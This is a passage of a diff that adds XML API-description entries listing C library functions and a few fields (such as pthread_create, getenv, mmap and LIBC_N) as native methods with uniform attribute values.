+ <method abstract="false" deprecated="not deprecated" final="true" name="msgctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_rollback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pipe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_setjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="verrx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_init1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_getshort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_set" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswgraph" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__putlong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswxdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="toascii" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__poll_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__FD_CLR_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwrite64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcflow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isascii" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswctype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemps64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fseeko64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_longjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="abs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rand_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_fqnname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_aton_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_setscheduler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalnum" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmemopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswspace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__readlinkat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__snprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="c32rtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__open_2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="access" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="raise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="seteuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stpncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strptime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftrylockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__flbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getnetbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setguardsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ptrace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__recvfrom_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vswprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adjtimex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_find" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getprotobyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getresuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tmpfile64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmdt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="longjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_option" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fallocate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_find_nth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_ntoa_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrtoc32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getattr_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stpcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_foreach" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="herror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_area_serial" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getscope" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname2_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getrusage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fseeko" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getopt_long" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unlockpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgkill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_lnaof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigemptyset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_DEPRECATED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="signalfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_mailok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcsetattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmempcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fnmatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="insque" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getcpuclockid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigqueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtod_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="printf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stpncpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__putshort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_class" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigwaitinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigprocmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lremovexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_nameindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_setkind_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tzset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nl_langinfo_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eventfd_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_send" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ispunct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrouplist" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="islower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcrtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tdelete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="socketpair" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freelocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_initparse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putchar_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="quotactl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strftime_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdopendir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getservbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigdelset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcsetpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcpcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="flock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isatty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="realpath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mktime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__vsprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcgetattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetws" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_get_priority_max" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_search" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nsend" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_cdname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strsep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_unpack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetpos64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_msg_getflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setdomainname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_secstodate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="snprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swapoff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="symlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getcwd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freeaddrinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalpha_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_getres" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_nanosleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isxdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tee" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="futimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="errx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwuid_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="accept4" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isblank_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lcong48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__dn_count_labels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memset_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_gettype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isinff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigaction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__libc_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="error_print_progname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ungetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctrans" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recvmmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isinfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalnum" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="init_module" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vswscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcgetpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fremovexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_N" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_cdnname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtof_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_timedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setns" native="true" return="na" static="false" synchronized="true" visibility="public"/>
